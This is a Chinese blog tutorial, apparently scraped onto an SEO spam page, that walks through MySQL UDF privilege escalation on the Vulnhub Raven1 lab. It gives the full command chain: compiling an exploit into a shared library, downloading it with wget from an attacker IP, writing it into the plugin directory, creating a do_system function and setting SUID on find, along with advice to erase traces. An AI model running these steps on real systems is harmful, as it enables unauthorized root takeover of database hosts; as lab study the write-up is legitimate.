当前位置: 首页 > news >正文

建设局网站买卖合同腾讯云怎么备案网站吗

建设局网站买卖合同,腾讯云怎么备案网站吗,青岛外贸网站建站公司,网站seo外链1、前言 最近遇到udf提权,几经周折终于搞懂了。感觉挺有意思的,渗透思路一下子就被打开了。 2、什么是udf提权 udf 全称为user defined function,意思是用户自定义函数。用户可以对数据库所使用的函数进行一个扩展(windows利用…

1、前言

最近遇到udf提权,几经周折终于搞懂了。感觉挺有意思的,渗透思路一下子就被打开了。

2、什么是udf提权

udf 全称为'user defined function',意思是'用户自定义函数'。用户可以对数据库所使用的函数进行一个扩展(windows利用dll文件,linux利用so文件),那么我们就可以利用这个特点,往MySQL里面添加一个可以执行系统命令的函数即可。

3、提权条件

(1)获取了MySQL的控制权,也就是知道MySQL账号和密码,并且能登录上去。

(2)MySQL具有读写的权限,即secure_file_priv的值为空才行。

(3)MySQL服务以root用户运行,如果是以普通用户运行的话,那么提权之后的权限也是普通用户的权限。

值得注意的是,不同版本的MySQL提权方式略有不同。

MySQL版本大于5.1,扩展文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin目录下存放的是扩展文件,plugin文件夹默认不存在,需要自己创建)

mysql版本<5.1 需要将扩展文件放在 C:\windows\或C:\windows\system32

4、提权过程

这里我就用Vulnhub靶场的 raven1靶机来演示,因为这个靶机刚好可以进行udf提权。这里直接快进到拿到shell了,如何getshell就不说了。

输入命令查看MySQL,发现是root身份运行的。

ps aux | grep "mysql"

 在/var/www/html/wordpress目录下找到一个wp-config.php,估计是配置文件,打开发现有mysql的账号和密码,直接连接上去即可。

mysql -u root -p

查看是否有读写权限,发现值为空符合我们的前提。

show global variables like 'secure_file_priv';

再查看一下扩展目录在哪里,如果没有的话还需自己创建一下,网上有说可以使用ntfs数据流创建

后续我实验一下。

show global variables like '%plugin%';

通过我们的信息收集,发现这个主机是符合我们udf提权的前提的。那么现在我们编译一个.so文件(靶机为Linux),然后加载到plugin目录下即可。在kali的漏洞库里面有以及写好的c语言脚本的,我们直接编译成.so文件即可,非常的省事。

searchsploit mysql udf 

编译成名为rong.so的文件。

gcc -g -c 1518.c
gcc -g -shared -o rong.so 1518.c

然后下载到靶机的tmp目录下面。

wget http://192.168.145.171/rong.so

我们上面说过要把扩展文件放到plugin目录下面才可以,但是我们普通用户是没有权限直接把文件移动到plugin下面的。这个时候MySQL的作用就来了,我们可以在MySQL上面创建一个表,把我们/tmp/rong.so的内容写入到表里面,然后再把这个表里面的内容读到plugin目录下面的rong.so文件。这样就实现了tmp目录下的rong.so转移到plugin目录下,所以这就是为啥MySQL要具有读写权限。

show databases;

随便选个库都无所谓,这里我选mysql,然后新建一个表。

use mysql
create table rong(line blob)

把/tmp/rong.so文件内容写入这个新建的表里面,load_file函数就是把文件内容写入到表里面。

insert into rong values(load_file('/tmp/rong.so'));

再把表里面的内容读到plugin目录的rong.so,into dumpfile函数就是把表里的内容读入文件里面,如果没有这个文件就新建一个。

select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so'; 

在真实的攻击中,一般都会把刚刚新建的表删掉(不删也行),清楚痕迹。

drop table rong

现在我们已经成功把自定义扩展函数放到plugin目录下面了,接着导入函数。

create function do_system retuns integer soname 'rong.so'

然后我们就可以执行系统命令了,不过这里是没回显的,要想有回显示还得导入其他.so文件,这里就不说了。我们可以个find命令赋予一个suid权限,然后再利用find提权即可。

select do_system('chmod u+s /usr/bin/find');

查看一下具有suid权限的命令,find命令成功被赋予了权限。

find / -perm -u=s -type f 2>/dev/null

至于find命令如何提权可以参考这篇文章点击我,求你了,这里不在缀述。

5、总结

udf提权本质就是通过添加自定义函数让MySQL能执行系统命令,仅此而已。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

http://www.yayakq.cn/news/15118/

相关文章:

  • 搭建网站案例精粹wordpress安卓源码
  • 物流企业网站建设方案网站上线后的工作
  • 2024年新闻摘抄十条成都网站排名优化公司
  • 视频网站做电商企业手机网站建设需要注意哪些
  • 网站接任务来做海阳网站制作
  • 网站域名到期会怎么样英语网站的建设需要
  • 聚美优品网站建设分析seo推广的特点
  • 黄石网站建用毛做简单的网站
  • 可视化在线做网站网络营销策略分析方法
  • 德源网站建设红酒网站建设模板
  • 怎么做平台网站你认为网络营销是什么
  • 手机网站整站模板下载辽宁城市建设职业技术学院教务网站
  • 网站建设的基本流程和步骤莒县网站设计
  • 网站域名301重定向微信网站页面设计
  • sem是指什么龙岗网站优化培训
  • 化妆品商城网站方案农村建设集团有限公司网站
  • 中国中小企业网站建设情况公司网站开发合同 华律网
  • 竹子建站怎么样平台建设网站
  • 织梦摄影网站源码智通人才网官网
  • 电子商务网站系统规划WordPress邮箱验证 注册
  • 公众微信网站建设网络营销成功案例介绍
  • 泰州专业制作网站有一个做名片的网站
  • 怎么做别人可以上的网站建网站哪个好
  • 做网站怎样写标题怎么做网页签到
  • 东营网站排名优化公司上海有多少家网站建设公司
  • 如皋做网站的公司百度指数官方版
  • 福建省建设工程监理协会网站铁路局招聘正式工4000人
  • 哪些网站可以免费发广告app页面设计图片
  • 学校多语言网站建设网站中单选按钮怎么做
  • 在哪给人做网站wordpress 修改搜索引擎